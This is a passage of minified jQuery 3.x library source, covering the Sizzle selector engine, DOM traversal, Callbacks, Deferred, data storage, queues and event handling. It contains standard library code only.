e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!r.pseudos.empty(e)},header:function(e){return Y.test(e.nodeName)},input:function(e){return Q.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:he(function(){return[0]}),last:he(function(e,t){return[t-1]}),eq:he(function(e,t,n){return[n<0?n+t:n]}),even:he(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:he(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:he(function(e,t,n){for(var r=n<0?n+t:n;--r>=0;)e.push(r);return e}),gt:he(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=r.pseudos.eq;for(t in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})r.pseudos[t]=fe(t);for(t in{submit:!0,reset:!0})r.pseudos[t]=de(t);function ve(){}ve.prototype=r.filters=r.pseudos,r.setFilters=new ve,a=oe.tokenize=function(e,t){var n,i,o,a,u,s,l,c=N[e+" "];if(c)return t?0:c.slice(0);u=e,s=[],l=r.preFilter;while(u){n&&!(i=F.exec(u))||(i&&(u=u.slice(i[0].length)||u),s.push(o=[])),n=!1,(i=z.exec(u))&&(n=i.shift(),o.push({value:n,type:i[0].replace($," ")}),u=u.slice(n.length));for(a in r.filter)!(i=X[a].exec(u))||l[a]&&!(i=l[a](i))||(n=i.shift(),o.push({value:n,type:a,matches:i}),u=u.slice(n.length));if(!n)break}return t?u.length:u?oe.error(e):N(e,s).slice(0)};function ye(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function me(e,t,n){var r=t.dir,i=t.next,o=i||r,a=n&&"parentNode"===o,u=T++;return t.first?function(t,n,i){while(t=t[r])if(1===t.nodeType||a)return e(t,n,i);return!1}:function(t,n,s){var l,c,f,d=[C,u];if(s){while(t=t[r])if((1===t.nodeType||a)&&e(t,n,s))return!0}else while(t=t[r])if(1===t.nodeType||a)if(f=t[x]||(t[x]={}),c=f[t.uniqueID]||(f[t.uniqueID]={}),i&&i===t.nodeName.toLowerCase())t=t[r]||t;else{if((l=c[o])&&l[0]===C&&l[1]===u)return d[2]=l[2];if(c[o]=d,d[2]=e(t,n,s))return!0}return!1}}function be(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function xe(e,t,n){for(var r=0,i=t.length;r<i;r++)oe(e,t[r],n);return n}function we(e,t,n,r,i){for(var o,a=[],u=0,s=e.length,l=null!=t;u<s;u++)(o=e[u])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(u)));return a}function Ce(e,t,n,r,i,o){return r&&!r[x]&&(r=Ce(r)),i&&!i[x]&&(i=Ce(i,o)),ue(function(o,a,u,s){var l,c,f,d=[],p=[],h=a.length,g=o||xe(t||"*",u.nodeType?[u]:u,[]),v=!e||!o&&t?g:we(g,d,e,u,s),y=n?i||(o?e:h||r)?[]:a:v;if(n&&n(v,y,u,s),r){l=we(y,p),r(l,[],u,s),c=l.length;while(c--)(f=l[c])&&(y[p[c]]=!(v[p[c]]=f))}if(o){if(i||e){if(i){l=[],c=y.length;while(c--)(f=y[c])&&l.push(v[c]=f);i(null,y=[],l,s)}c=y.length;while(c--)(f=y[c])&&(l=i?P(o,f):d[c])>-1&&(o[l]=!(a[l]=f))}}else y=we(y===a?y.splice(h,y.length):y),i?i(null,a,y,s):q.apply(a,y)})}function Te(e){for(var t,n,i,o=e.length,a=r.relative[e[0].type],u=a||r.relative[" "],s=a?1:0,c=me(function(e){return e===t},u,!0),f=me(function(e){return P(t,e)>-1},u,!0),d=[function(e,n,r){var i=!a&&(r||n!==l)||((t=n).nodeType?c(e,n,r):f(e,n,r));return t=null,i}];s<o;s++)if(n=r.relative[e[s].type])d=[me(be(d),n)];else{if((n=r.filter[e[s].type].apply(null,e[s].matches))[x]){for(i=++s;i<o;i++)if(r.relative[e[i].type])break;return Ce(s>1&&be(d),s>1&&ye(e.slice(0,s-1).concat({value:" "===e[s-2].type?"*":""})).replace($,"$1"),n,s<i&&Te(e.slice(s,i)),i<o&&Te(e=e.slice(i)),i<o&&ye(e))}d.push(n)}return be(d)}function Ee(e,t){var n=t.length>0,i=e.length>0,o=function(o,a,u,s,c){var f,h,v,y=0,m="0",b=o&&[],x=[],w=l,T=o||i&&r.find.TAG("*",c),E=C+=null==w?1:Math.random()||.1,N=T.length;for(c&&(l=a===p||a||c);m!==N&&null!=(f=T[m]);m++){if(i&&f){h=0,a||f.ownerDocument===p||(d(f),u=!g);while(v=e[h++])if(v(f,a||p,u)){s.push(f);break}c&&(C=E)}n&&((f=!v&&f)&&y--,o&&b.push(f))}if(y+=m,n&&m!==y){h=0;while(v=t[h++])v(b,x,a,u);if(o){if(y>0)while(m--)b[m]||x[m]||(x[m]=L.call(s));x=we(x)}q.apply(s,x),c&&!o&&x.length>0&&y+t.length>1&&oe.uniqueSort(s)}return c&&(C=E,l=w),b};return n?ue(o):o}return u=oe.compile=function(e,t){var n,r=[],i=[],o=k[e+" "];if(!o){t||(t=a(e)),n=t.length;while(n--)(o=Te(t[n]))[x]?r.push(o):i.push(o);(o=k(e,Ee(i,r))).selector=e}return o},s=oe.select=function(e,t,n,i){var o,s,l,c,f,d="function"==typeof e&&e,p=!i&&a(e=d.selector||e);if(n=n||[],1===p.length){if((s=p[0]=p[0].slice(0)).length>2&&"ID"===(l=s[0]).type&&9===t.nodeType&&g&&r.relative[s[1].type]){if(!(t=(r.find.ID(l.matches[0].replace(Z,ee),t)||[])[0]))return n;d&&(t=t.parentNode),e=e.slice(s.shift().value.length)}o=X.needsContext.test(e)?0:s.length;while(o--){if(l=s[o],r.relative[c=l.type])break;if((f=r.find[c])&&(i=f(l.matches[0].replace(Z,ee),J.test(s[0].type)&&ge(t.parentNode)||t))){if(s.splice(o,1),!(e=i.length&&ye(s)))return q.apply(n,i),n;break}}}return(d||u(e,p))(i,t,!g,n,!t||J.test(e)&&ge(t.parentNode)||t),n},n.sortStable=x.split("").sort(A).join("")===x,n.detectDuplicates=!!f,d(),n.sortDetached=se(function(e){return 1&e.compareDocumentPosition(p.createElement("fieldset"))}),se(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||le("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),n.attributes&&se(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||le("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),se(function(e){return null==e.getAttribute("disabled")})||le(H,function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),oe}(e);w.find=E,w.expr=E.selectors,w.expr[":"]=w.expr.pseudos,w.uniqueSort=w.unique=E.uniqueSort,w.text=E.getText,w.isXMLDoc=E.isXML,w.contains=E.contains,w.escapeSelector=E.escape;var N=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&w(e).is(n))break;r.push(e)}return r},k=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},A=w.expr.match.needsContext;function D(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var S=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function L(e,t,n){return g(t)?w.grep(e,function(e,r){return!!t.call(e,r,e)!==n}):t.nodeType?w.grep(e,function(e){return e===t!==n}):"string"!=typeof t?w.grep(e,function(e){return s.call(t,e)>-1!==n}):w.filter(t,e,n)}w.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?w.find.matchesSelector(r,e)?[r]:[]:w.find.matches(e,w.grep(t,function(e){return 1===e.nodeType}))},w.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(w(e).filter(function(){for(t=0;t<r;t++)if(w.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)w.find(e,i[t],n);return r>1?w.uniqueSort(n):n},filter:function(e){return this.pushStack(L(this,e||[],!1))},not:function(e){return this.pushStack(L(this,e||[],!0))},is:function(e){return!!L(this,"string"==typeof e&&A.test(e)?w(e):e||[],!1).length}});var j,q=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(w.fn.init=function(e,t,n){var i,o;if(!e)return this;if(n=n||j,"string"==typeof e){if(!(i="<"===e[0]&&">"===e[e.length-1]&&e.length>=3?[null,e,null]:q.exec(e))||!i[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(i[1]){if(t=t instanceof w?t[0]:t,w.merge(this,w.parseHTML(i[1],t&&t.nodeType?t.ownerDocument||t:r,!0)),S.test(i[1])&&w.isPlainObject(t))for(i in t)g(this[i])?this[i](t[i]):this.attr(i,t[i]);return this}return(o=r.getElementById(i[2]))&&(this[0]=o,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):g(e)?void 0!==n.ready?n.ready(e):e(w):w.makeArray(e,this)}).prototype=w.fn,j=w(r);var O=/^(?:parents|prev(?:Until|All))/,P={children:!0,contents:!0,next:!0,prev:!0};w.fn.extend({has:function(e){var t=w(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(w.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,i=this.length,o=[],a="string"!=typeof e&&w(e);if(!A.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?a.index(n)>-1:1===n.nodeType&&w.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(o.length>1?w.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?s.call(w(e),this[0]):s.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(w.uniqueSort(w.merge(this.get(),w(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function H(e,t){while((e=e[t])&&1!==e.nodeType);return e}w.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return N(e,"parentNode")},parentsUntil:function(e,t,n){return N(e,"parentNode",n)},next:function(e){return H(e,"nextSibling")},prev:function(e){return H(e,"previousSibling")},nextAll:function(e){return N(e,"nextSibling")},prevAll:function(e){return N(e,"previousSibling")},nextUntil:function(e,t,n){return N(e,"nextSibling",n)},prevUntil:function(e,t,n){return N(e,"previousSibling",n)},siblings:function(e){return k((e.parentNode||{}).firstChild,e)},children:function(e){return k(e.firstChild)},contents:function(e){return D(e,"iframe")?e.contentDocument:(D(e,"template")&&(e=e.content||e),w.merge([],e.childNodes))}},function(e,t){w.fn[e]=function(n,r){var i=w.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=w.filter(r,i)),this.length>1&&(P[e]||w.uniqueSort(i),O.test(e)&&i.reverse()),this.pushStack(i)}});var I=/[^\x20\t\r\n\f]+/g;function R(e){var t={};return w.each(e.match(I)||[],function(e,n){t[n]=!0}),t}w.Callbacks=function(e){e="string"==typeof e?R(e):w.extend({},e);var t,n,r,i,o=[],a=[],u=-1,s=function(){for(i=i||e.once,r=t=!0;a.length;u=-1){n=a.shift();while(++u<o.length)!1===o[u].apply(n[0],n[1])&&e.stopOnFalse&&(u=o.length,n=!1)}e.memory||(n=!1),t=!1,i&&(o=n?[]:"")},l={add:function(){return o&&(n&&!t&&(u=o.length-1,a.push(n)),function t(n){w.each(n,function(n,r){g(r)?e.unique&&l.has(r)||o.push(r):r&&r.length&&"string"!==b(r)&&t(r)})}(arguments),n&&!t&&s()),this},remove:function(){return w.each(arguments,function(e,t){var n;while((n=w.inArray(t,o,n))>-1)o.splice(n,1),n<=u&&u--}),this},has:function(e){return e?w.inArray(e,o)>-1:o.length>0},empty:function(){return o&&(o=[]),this},disable:function(){return i=a=[],o=n="",this},disabled:function(){return!o},lock:function(){return i=a=[],n||t||(o=n=""),this},locked:function(){return!!i},fireWith:function(e,n){return i||(n=[e,(n=n||[]).slice?n.slice():n],a.push(n),t||s()),this},fire:function(){return l.fireWith(this,arguments),this},fired:function(){return!!r}};return l};function B(e){return e}function M(e){throw e}function W(e,t,n,r){var i;try{e&&g(i=e.promise)?i.call(e).done(t).fail(n):e&&g(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}w.extend({Deferred:function(t){var n=[["notify","progress",w.Callbacks("memory"),w.Callbacks("memory"),2],["resolve","done",w.Callbacks("once memory"),w.Callbacks("once memory"),0,"resolved"],["reject","fail",w.Callbacks("once memory"),w.Callbacks("once memory"),1,"rejected"]],r="pending",i={state:function(){return r},always:function(){return o.done(arguments).fail(arguments),this},"catch":function(e){return i.then(null,e)},pipe:function(){var e=arguments;return w.Deferred(function(t){w.each(n,function(n,r){var i=g(e[r[4]])&&e[r[4]];o[r[1]](function(){var e=i&&i.apply(this,arguments);e&&g(e.promise)?e.promise().progress(t.notify).done(t.resolve).fail(t.reject):t[r[0]+"With"](this,i?[e]:arguments)})}),e=null}).promise()},then:function(t,r,i){var o=0;function a(t,n,r,i){return function(){var u=this,s=arguments,l=function(){var e,l;if(!(t<o)){if((e=r.apply(u,s))===n.promise())throw new TypeError("Thenable self-resolution");l=e&&("object"==typeof e||"function"==typeof e)&&e.then,g(l)?i?l.call(e,a(o,n,B,i),a(o,n,M,i)):(o++,l.call(e,a(o,n,B,i),a(o,n,M,i),a(o,n,B,n.notifyWith))):(r!==B&&(u=void 0,s=[e]),(i||n.resolveWith)(u,s))}},c=i?l:function(){try{l()}catch(e){w.Deferred.exceptionHook&&w.Deferred.exceptionHook(e,c.stackTrace),t+1>=o&&(r!==M&&(u=void 0,s=[e]),n.rejectWith(u,s))}};t?c():(w.Deferred.getStackHook&&(c.stackTrace=w.Deferred.getStackHook()),e.setTimeout(c))}}return w.Deferred(function(e){n[0][3].add(a(0,e,g(i)?i:B,e.notifyWith)),n[1][3].add(a(0,e,g(t)?t:B)),n[2][3].add(a(0,e,g(r)?r:M))}).promise()},promise:function(e){return null!=e?w.extend(e,i):i}},o={};return w.each(n,function(e,t){var a=t[2],u=t[5];i[t[1]]=a.add,u&&a.add(function(){r=u},n[3-e][2].disable,n[3-e][3].disable,n[0][2].lock,n[0][3].lock),a.add(t[3].fire),o[t[0]]=function(){return o[t[0]+"With"](this===o?void 0:this,arguments),this},o[t[0]+"With"]=a.fireWith}),i.promise(o),t&&t.call(o,o),o},when:function(e){var t=arguments.length,n=t,r=Array(n),i=o.call(arguments),a=w.Deferred(),u=function(e){return function(n){r[e]=this,i[e]=arguments.length>1?o.call(arguments):n,--t||a.resolveWith(r,i)}};if(t<=1&&(W(e,a.done(u(n)).resolve,a.reject,!t),"pending"===a.state()||g(i[n]&&i[n].then)))return a.then();while(n--)W(i[n],u(n),a.reject);return a.promise()}});var $=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;w.Deferred.exceptionHook=function(t,n){e.console&&e.console.warn&&t&&$.test(t.name)&&e.console.warn("jQuery.Deferred exception: "+t.message,t.stack,n)},w.readyException=function(t){e.setTimeout(function(){throw t})};var F=w.Deferred();w.fn.ready=function(e){return F.then(e)["catch"](function(e){w.readyException(e)}),this},w.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--w.readyWait:w.isReady)||(w.isReady=!0,!0!==e&&--w.readyWait>0||F.resolveWith(r,[w]))}}),w.ready.then=F.then;function z(){r.removeEventListener("DOMContentLoaded",z),e.removeEventListener("load",z),w.ready()}"complete"===r.readyState||"loading"!==r.readyState&&!r.documentElement.doScroll?e.setTimeout(w.ready):(r.addEventListener("DOMContentLoaded",z),e.addEventListener("load",z));var _=function(e,t,n,r,i,o,a){var u=0,s=e.length,l=null==n;if("object"===b(n)){i=!0;for(u in n)_(e,t,u,n[u],!0,o,a)}else if(void 0!==r&&(i=!0,g(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(w(e),n)})),t))for(;u<s;u++)t(e[u],n,a?r:r.call(e[u],u,t(e[u],n)));return i?e:l?t.call(e):s?t(e[0],n):o},U=/^-ms-/,V=/-([a-z])/g;function X(e,t){return t.toUpperCase()}function Q(e){return e.replace(U,"ms-").replace(V,X)}var Y=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function G(){this.expando=w.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t||(t={},Y(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[Q(t)]=n;else for(r in t)i[Q(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][Q(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(Q):(t=Q(t))in r?[t]:t.match(I)||[]).length;while(n--)delete r[t[n]]}(void 0===t||w.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!w.isEmptyObject(t)}};var K=new G,J=new G,Z=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,ee=/[A-Z]/g;function te(e){return"true"===e||"false"!==e&&("null"===e?null:e===+e+""?+e:Z.test(e)?JSON.parse(e):e)}function ne(e,t,n){var r;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(ee,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n=te(n)}catch(e){}J.set(e,t,n)}else n=void 0;return n}w.extend({hasData:function(e){return J.hasData(e)||K.hasData(e)},data:function(e,t,n){return J.access(e,t,n)},removeData:function(e,t){J.remove(e,t)},_data:function(e,t,n){return K.access(e,t,n)},_removeData:function(e,t){K.remove(e,t)}}),w.fn.extend({data:function(e,t){var n,r,i,o=this[0],a=o&&o.attributes;if(void 0===e){if(this.length&&(i=J.get(o),1===o.nodeType&&!K.get(o,"hasDataAttrs"))){n=a.length;while(n--)a[n]&&0===(r=a[n].name).indexOf("data-")&&(r=Q(r.slice(5)),ne(o,r,i[r]));K.set(o,"hasDataAttrs",!0)}return i}return"object"==typeof e?this.each(function(){J.set(this,e)}):_(this,function(t){var n;if(o&&void 0===t){if(void 0!==(n=J.get(o,e)))return n;if(void 0!==(n=ne(o,e)))return n}else this.each(function(){J.set(this,e,t)})},null,t,arguments.length>1,null,!0)},removeData:function(e){return this.each(function(){J.remove(this,e)})}}),w.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=K.get(e,t),n&&(!r||Array.isArray(n)?r=K.access(e,t,w.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=w.queue(e,t),r=n.length,i=n.shift(),o=w._queueHooks(e,t),a=function(){w.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return K.get(e,n)||K.access(e,n,{empty:w.Callbacks("once memory").add(function(){K.remove(e,[t+"queue",n])})})}}),w.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length<n?w.queue(this[0],e):void 0===t?this:this.each(function(){var n=w.queue(this,e,t);w._queueHooks(this,e),"fx"===e&&"inprogress"!==n[0]&&w.dequeue(this,e)})},dequeue:function(e){return this.each(function(){w.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=w.Deferred(),o=this,a=this.length,u=function(){--r||i.resolveWith(o,[o])};"string"!=typeof e&&(t=e,e=void 0),e=e||"fx";while(a--)(n=K.get(o[a],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(u));return u(),i.promise(t)}});var re=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,ie=new RegExp("^(?:([+-])=|)("+re+")([a-z%]*)$","i"),oe=["Top","Right","Bottom","Left"],ae=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&w.contains(e.ownerDocument,e)&&"none"===w.css(e,"display")},ue=function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i};function se(e,t,n,r){var i,o,a=20,u=r?function(){return r.cur()}:function(){return w.css(e,t,"")},s=u(),l=n&&n[3]||(w.cssNumber[t]?"":"px"),c=(w.cssNumber[t]||"px"!==l&&+s)&&ie.exec(w.css(e,t));if(c&&c[3]!==l){s/=2,l=l||c[3],c=+s||1;while(a--)w.style(e,t,c+l),(1-o)*(1-(o=u()/s||.5))<=0&&(a=0),c/=o;c*=2,w.style(e,t,c+l),n=n||[]}return n&&(c=+c||+s||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var le={};function ce(e){var t,n=e.ownerDocument,r=e.nodeName,i=le[r];return i||(t=n.body.appendChild(n.createElement(r)),i=w.css(t,"display"),t.parentNode.removeChild(t),"none"===i&&(i="block"),le[r]=i,i)}function fe(e,t){for(var n,r,i=[],o=0,a=e.length;o<a;o++)(r=e[o]).style&&(n=r.style.display,t?("none"===n&&(i[o]=K.get(r,"display")||null,i[o]||(r.style.display="")),""===r.style.display&&ae(r)&&(i[o]=ce(r))):"none"!==n&&(i[o]="none",K.set(r,"display",n)));for(o=0;o<a;o++)null!=i[o]&&(e[o].style.display=i[o]);return e}w.fn.extend({show:function(){return fe(this,!0)},hide:function(){return fe(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){ae(this)?w(this).show():w(this).hide()})}});var de=/^(?:checkbox|radio)$/i,pe=/<([a-z][^\/\0>\x20\t\r\n\f]+)/i,he=/^$|^module$|\/(?:java|ecma)script/i,ge={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};ge.optgroup=ge.option,ge.tbody=ge.tfoot=ge.colgroup=ge.caption=ge.thead,ge.th=ge.td;function ve(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&D(e,t)?w.merge([e],n):n}function ye(e,t){for(var n=0,r=e.length;n<r;n++)K.set(e[n],"globalEval",!t||K.get(t[n],"globalEval"))}var me=/<|&#?\w+;/;function be(e,t,n,r,i){for(var o,a,u,s,l,c,f=t.createDocumentFragment(),d=[],p=0,h=e.length;p<h;p++)if((o=e[p])||0===o)if("object"===b(o))w.merge(d,o.nodeType?[o]:o);else if(me.test(o)){a=a||f.appendChild(t.createElement("div")),u=(pe.exec(o)||["",""])[1].toLowerCase(),s=ge[u]||ge._default,a.innerHTML=s[1]+w.htmlPrefilter(o)+s[2],c=s[0];while(c--)a=a.lastChild;w.merge(d,a.childNodes),(a=f.firstChild).textContent=""}else d.push(t.createTextNode(o));f.textContent="",p=0;while(o=d[p++])if(r&&w.inArray(o,r)>-1)i&&i.push(o);else if(l=w.contains(o.ownerDocument,o),a=ve(f.appendChild(o),"script"),l&&ye(a),n){c=0;while(o=a[c++])he.test(o.type||"")&&n.push(o)}return f}!function(){var e=r.createDocumentFragment().appendChild(r.createElement("div")),t=r.createElement("input");t.setAttribute("type","radio"),t.setAttribute("checked","checked"),t.setAttribute("name","t"),e.appendChild(t),h.checkClone=e.cloneNode(!0).cloneNode(!0).lastChild.checked,e.innerHTML="<textarea>x</textarea>",h.noCloneChecked=!!e.cloneNode(!0).lastChild.defaultValue}();var xe=r.documentElement,we=/^key/,Ce=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Te=/^([^.]*)(?:\.(.+)|)/;function Ee(){return!0}function Ne(){return!1}function ke(){try{return r.activeElement}catch(e){}}function Ae(e,t,n,r,i,o){var a,u;if("object"==typeof t){"string"!=typeof n&&(r=r||n,n=void 0);for(u in t)Ae(e,u,n,r,t[u],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=Ne;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return w().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=w.guid++)),e.each(function(){w.event.add(this,t,i,r,n)})}w.event={global:{},add:function(e,t,n,r,i){var o,a,u,s,l,c,f,d,p,h,g,v=K.get(e);if(v){n.handler&&(n=(o=n).handler,i=o.selector),i&&w.find.matchesSelector(xe,i),n.guid||(n.guid=w.guid++),(s=v.events)||(s=v.events={}),(a=v.handle)||(a=v.handle=function(t){return"undefined"!=typeof w&&w.event.triggered!==t.type?w.event.dispatch.apply(e,arguments):void 0}),l=(t=(t||"").match(I)||[""]).length;while(l--)p=g=(u=Te.exec(t[l])||[])[1],h=(u[2]||"").split(".").sort(),p&&(f=w.event.special[p]||{},p=(i?f.delegateType:f.bindType)||p,f=w.event.special[p]||{},c=w.extend({type:p,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&w.expr.match.needsContext.test(i),namespace:h.join(".")},o),(d=s[p])||((d=s[p]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(e,r,h,a)||e.addEventListener&&e.addEventListener(p,a)),f.add&&(f.add.call(e,c),c.handler.guid||(c.handler.guid=n.guid)),i?d.splice(d.delegateCount++,0,c):d.push(c),w.event.global[p]=!0)}},remove:function(e,t,n,r,i){var o,a,u,s,l,c,f,d,p,h,g,v=K.hasData(e)&&K.get(e);if(v&&(s=v.events)){l=(t=(t||"").match(I)||[""]).length;while(l--)if(u=Te.exec(t[l])||[],p=g=u[1],h=(u[2]||"").split(".").sort(),p){f=w.event.special[p]||{},d=s[p=(r?f.delegateType:f.bindType)||p]||[],u=u[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=d.length;while(o--)c=d[o],!i&&g!==c.origType||n&&n.guid!==c.guid||u&&!u.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(d.splice(o,1),c.selector&&d.delegateCount--,f.remove&&f.remove.call(e,c));a&&!d.length&&(f.teardown&&!1!==f.teardown.call(e,h,v.handle)||w.removeEvent(e,p,v.handle),delete s[p])}else for(p in s)w.event.remove(e,p+t[l],n,r,!0);w.isEmptyObject(s)&&K.remove(e,"handle events")}},dispatch:function(e){var t=w.event.fix(e),n,r,i,o,a,u,s=new Array(arguments.length),l=(K.get(this,"events")||{})[t.type]||[],c=w.event.special[t.type]||{};for(s[0]=t,n=1;n<arguments.length;n++)s[n]=arguments[n];if(t.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,t)){u=w.event.handlers.call(this,t,l),n=0;while((o=u[n++])&&!t.isPropagationStopped()){t.currentTarget=o.elem,r=0;while((a=o.handlers[r++])&&!t.isImmediatePropagationStopped())t.rnamespace&&!t.rnamespace.test(a.namespace)||(t.handleObj=a,t.data=a.data,void 0!==(i=((w.event.special[a.origType]||{}).handle||a.handler).apply(o.elem,s))&&!1===(t.result=i)&&(t.preventDefault(),t.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,t),t.result}},handlers:function(e,t){var n,r,i,o,a,u=[],s=t.delegateCount,l=e.target;if(s&&l.nodeType&&!("click"===e.type&&e.button>=1))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n<s;n++)void 0===a[i=(r=t[n]).selector+" "]&&(a[i]=r.needsContext?w(i,this).index(l)>-1:w.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&u.push({elem:l,handlers:o})}return l=this,s<t.length&&u.push({elem:l,handlers:t.slice(s)}),u},addProp:function(e,t){Object.defineProperty(w.Event.prototype,e,{enumerable:!0,configurable:!0,get:g(t)?function(){if(this.originalEvent)return t(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[e]},set:function(t){Object.defineProperty(this,e,{enumerable:!0,configurable:!0,writable:!0,value:t})}})},fix:function(e){return e[w.expando]?e:new w.Event(e)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==ke()&&this.focus)return this.focus(),!1},delegateType:"focusin"},blur:{trigger:function(){if(this===ke()&&this.blur)return this.blur(),!1},delegateType:"focusout"},click:{trigger:function(){if("checkbox"===this.type&&this.click&&D(this,"input"))return this.click(),!1},_default:function(e){return D(e.target,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},w.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},w.Event=function(e,t){if(!(this instanceof w.Event))return new w.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 